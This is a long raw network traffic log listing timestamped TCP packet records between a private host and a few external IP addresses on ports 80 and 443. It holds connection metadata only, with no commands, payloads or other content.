Dec 8, 2024 17:45:49.586539984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.587414026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.587549925 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.587624073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.588435888 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.588502884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.588519096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.588592052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.589469910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.589483023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.589550972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.590468884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.590507030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.590617895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.591458082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.591564894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.591681004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.591767073 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.591840982 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.591850042 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.592461109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.592526913 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.592564106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.592603922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.592629910 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.593478918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.593566895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.593625069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.593672991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.594521046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.594567060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.594661951 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.595515966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.595647097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.595732927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.606473923 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.606514931 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.606529951 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.606650114 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.606661081 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.606709003 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.607589960 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.607672930 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.607677937 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.607845068 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.622657061 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.622744083 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.622747898 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.622931004 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.635879040 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.635948896 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.635956049 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.636128902 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.644417048 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.644493103 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.644498110 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.644680977 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.654145956 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.654222012 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.654227018 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.654464006 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.662504911 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.662585974 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.662590981 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.663093090 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.674115896 CET	443	49842	20.234.120.54	192.168.2.6
Dec 8, 2024 17:45:49.674187899 CET	49842	443	192.168.2.6	20.234.120.54
Dec 8, 2024 17:45:49.677545071 CET	49842	443	192.168.2.6	20.234.120.54
Dec 8, 2024 17:45:49.677550077 CET	443	49842	20.234.120.54	192.168.2.6
Dec 8, 2024 17:45:49.677781105 CET	443	49842	20.234.120.54	192.168.2.6
Dec 8, 2024 17:45:49.677834034 CET	49842	443	192.168.2.6	20.234.120.54
Dec 8, 2024 17:45:49.677923918 CET	49842	443	192.168.2.6	20.234.120.54
Dec 8, 2024 17:45:49.682324886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.682399035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.682434082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.682583094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.682590008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.682740927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.682810068 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.683614016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.683692932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.683847904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.683969975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.684613943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.684669018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.684770107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.684809923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.685691118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.685729027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.685795069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.685893059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.686676979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.686724901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.686800957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.687057018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.687644958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.687732935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.687804937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.688710928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.688766956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.688792944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.688863039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.689740896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.689821959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.689853907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.689914942 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.690706968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.690785885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.690788984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.690958023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.691725969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.691777945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.691911936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.692096949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.692732096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.692785025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.692811966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.692892075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.693742037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.693808079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.693854094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.693902969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.694742918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.694827080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.694844007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.694933891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.695754051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.695806980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.695836067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.696001053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.696780920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.696845055 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.696871996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.696969032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.697787046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.697840929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.697916985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.697971106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.698837996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.698915958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.698972940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.699038029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.699817896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.699871063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.699940920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.699990034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.700836897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.701008081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.701093912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.701844931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.701898098 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.719331026 CET	443	49842	20.234.120.54	192.168.2.6
Dec 8, 2024 17:45:49.755485058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.755553007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.755558968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.755623102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.755980968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.756052017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.756202936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.756371021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.756419897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.757293940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.757354021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.757486105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.757541895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.758219957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.758275986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.758305073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.758338928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.759243011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.759329081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.759330034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.759819031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.760250092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.760343075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.760361910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.760409117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.761318922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.761341095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.761378050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.761404037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.762269974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.762403965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.762473106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.762768984 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.762840986 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.762846947 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.763359070 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.763430119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.763494968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.763545990 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.764328003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.764450073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.764525890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.765311003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.765383005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.765418053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.765600920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.766427994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.766530037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.766542912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.766591072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.767374992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.767432928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.767486095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.767683983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.768389940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.768466949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.768515110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.768568993 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.769414902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.769428015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.769471884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.770405054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.770456076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.770507097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.770697117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.771428108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.771503925 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.771536112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.771600962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.772211075 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.772283077 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.772288084 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.772423029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.772425890 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.772489071 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.772564888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.773436069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.773535013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.773613930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.774461031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.774535894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.774564028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.774606943 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.775553942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.775566101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.775662899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.776494980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.776546955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.776604891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.776658058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.777519941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.777584076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.777585030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.777638912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.778556108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.778708935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.778776884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.779551029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.779609919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.779670954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.779722929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.780581951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.780662060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.780668020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.780709028 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.781672001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.781750917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.781776905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.781938076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.782587051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.782644987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.782679081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.782710075 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.782774925 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.782778978 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.782784939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.782826900 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.783612013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.783710003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.783720016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.783757925 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.784631968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.784761906 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.784765959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.784925938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.785660028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.785737991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.785823107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.785882950 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.786668062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.786744118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.786773920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.786813974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.787702084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.787715912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.787760973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.787796021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.789155960 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.789182901 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.789247990 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.789258003 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.789268017 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.789293051 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.789921045 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.789980888 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.789992094 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.790071964 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.796801090 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.796894073 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.796900988 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.796933889 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.807296991 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.807394981 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.807400942 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.807698965 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.812938929 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.813013077 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.813016891 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.813209057 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.819761038 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.819844007 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.819849968 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.820374012 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.828560114 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.828634977 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.828646898 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.828880072 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.836493969 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.836570024 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.836575031 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.836765051 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.836826086 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.836850882 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.836879969 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.836898088 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.836924076 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.836941957 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.843467951 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.843533993 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.843540907 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.847374916 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.850264072 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.850353003 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.850357056 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.850522995 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.859368086 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.859441042 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.859445095 CET	443	49840	150.171.27.10	192.168.2.6
